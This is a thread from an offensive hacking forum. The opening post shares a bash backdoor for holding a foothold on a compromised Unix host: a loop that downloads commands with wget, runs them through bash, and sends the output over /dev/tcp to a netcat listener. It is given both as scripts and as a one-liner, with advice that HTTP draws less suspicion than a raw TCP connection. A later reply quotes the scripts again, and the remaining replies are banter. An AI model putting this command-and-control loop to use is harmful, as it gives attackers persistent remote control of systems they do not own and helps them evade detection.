

Forum:[Hack Forums](#)

Thread: [Remote Control Without A RAT \(Wget Shell\)](#)

W32.DisTrack - May 10, 2019, 9:14 pm

This is a little trick I picked up recently. It may not be new, but it's interesting. Basically you can use wget to keep a foothold on a compromised system. Wget is a Unix file download utility that is preinstalled on most Nixes. Below is the big reveal.

Code `#!/bin/bash`

```
for i in {1..99999}
do
  wget -q -O - hxxp://127.0.0.1:8080/cmd | bash
  sleep 600
```

doneThis is a small shell script that connects back to your machine, reads what's on the web page, and executes it as a bash command. Then it sleeps for however long you think is necessary. It does this process 99,999 times. Basically for a long time. You'll need a web server to host commands on. You can use python for this (python -m SimpleHTTPServer 8080). Then just make a file (in my case named "cmd") to have the commands in. Now you have a script that can connect back to you and get commands. This is slightly better than a normal shell because wget uses HTTP, which is less suspicious than a straight up TCP connection. Now the catch is that you won't be able to read any output from the command you execute. There's a simple solution for this. Just pipe it to your system:

Code `#!/bin/bash`

```
for i in {1..99999}
do
  wget -q -O - hxxp://127.0.0.1:8080/cmd | bash &> /dev/tcp/127.0.0.1/31337
  sleep 10
done
```

So just fire up a netcat listener and the output of the commands will be visible. This can all also be implemented via one liner:

Code `for i in {1..99999}; do wget -q -O - hxxp://127.0.0.1:8080/cmd | bash &> /dev/tcp/127.0.0.1/31337; sleep 10; done`

SIMPR - May 11, 2019, 5:29 pm

(May 10, 2019 09:14 PM)W32.DisTrack Wrote: [\[CITE\]](#) This is a little trick I picked up recently. It may not be new, but it's interesting. Basically you can use wget to keep a foothold on a compromised system. Wget is a Unix file download utility that is preinstalled on most Nixes. Below is the big reveal.

Code `#!/bin/bash`

```
for i in {1..99999}
do
  wget -q -O - hxxp://127.0.0.1:8080/cmd | bash
  sleep 600
```

doneThis is a small shell script that connects back to your machine, reads what's on the web page, and executes it as a bash command. Then it sleeps for however long you think is necessary. It does this process 99,999 times. Basically for a long time. You'll need a web server to host commands on. You can use python for this (python -m SimpleHTTPServer 8080). Then just make a file (in my case

named "cmd") to have the commands in. Now you have a script that can connect back to you and get commands. This is slightly better than a normal shell because wget uses HTTP, which is less suspicious than a straight up TCP connection. Now the catch is that you won't be able to read any output from the command you execute. There's a simple solution for this. Just pipe it to your system:

Code `#!/bin/bash`

```
for i in {1..99999}
do
  wget -q -O - hxxp://127.0.0.1:8080/cmd | bash &> /dev/tcp/127.0.0.1/31337
  sleep 10
done
```

So just fire up a netcat listener and the output of the commands will be visible. This can all also be implemented via one liner:

Code for `i in {1..9999}; do wget -q -O - hxxp://127.0.0.1:8080/cmd | bash &> /dev/tcp/127.0.0.1/31337; sleep 10; done`
netcat has been out there for a long time but thanks for the code it can actually help with bots

Faith Connors - May 11, 2019, 8:40 pm

(May 11, 2019 05:29 PM)Venom101 Wrote: [\[CITE\]](#) netcat has been out there for a long time but thanks for the code it can actually help with bots
if netcat was the only thing you got out of this post then you read it wrong.

SIMPR - May 11, 2019, 10:21 pm

(May 11, 2019 08:40 PM)Faith Connors Wrote: [\[CITE\]](#) if netcat was the only thing you got out of this post then you read it wrong.
nope not just netcat but thanks for reply

Psychedelic. - May 12, 2019, 5:41 am

Interesting, thanks for posting this.

W32.DisTrack - May 12, 2019, 6:38 pm

(May 12, 2019 04:00 AM)xXGHOST72OXx Wrote: [\[CITE\]](#) `#!/bin/bash`

```
for i in {1..99999}
do
  wget -q -O - Luis is still a skid | bash &> /dev/tcp/127.0.0.1/31337
  sleep 10
done
invalid syntax: "Luis is still a skid" (not a URL or IP address)
```

nice try on the roast though. i'm sure it took you while to come up with.

(May 11, 2019 05:29 PM)Venom101 Wrote: [\[CITE\]](#) netcat has been out there for a long time but thanks for the code it can actually help with bots
lol you're not wrong. thanks for reading.

(May 12, 2019 05:41 AM)Psychedelic. Wrote: [\[CITE\]](#) Interesting, thanks for posting this.
np. thanks for reading.

(May 11, 2019 08:40 PM)Faith Connors Wrote: [\[CITE\]](#) if netcat was the only thing you got out of this post then you read it wrong.
netcat is everything. it is the past, present, and future ;)

Lux Interior - May 12, 2019, 8:30 pm

Looks interesting. I'll definitely be giving it a try. Thanks for posting!

L

Faith Connors - May 12, 2019, 8:40 pm

(May 12, 2019 06:38 PM)W32.DisTrack Wrote: [\[CITE\]](#) netcat is everything. it is the past, present, and future ;)

imagine not developing your own networking stack for your own meshing protocol that would use with your own handwritten payload and instead settling for using some old tool that only does tcp

i shiggy diggy

W32.DisTrack - May 12, 2019, 8:51 pm

(May 12, 2019 08:40 PM)Faith Connors Wrote: [\[CITE\]](#) imagine not developing your own networking stack for your own meshing protocol that would use with your own handwritten payload and instead settling for using some old tool that only does tcp

i shiggy diggy

When you have time to... (May 12, 2019 08:40 PM)Faith Connors Wrote: [\[CITE\]](#) develop your own networking stack for your own meshing protocol that would use with your own handwritten payload and instead settling for using some old tool that only does tcp

i shiggy diggy

... you let me know :)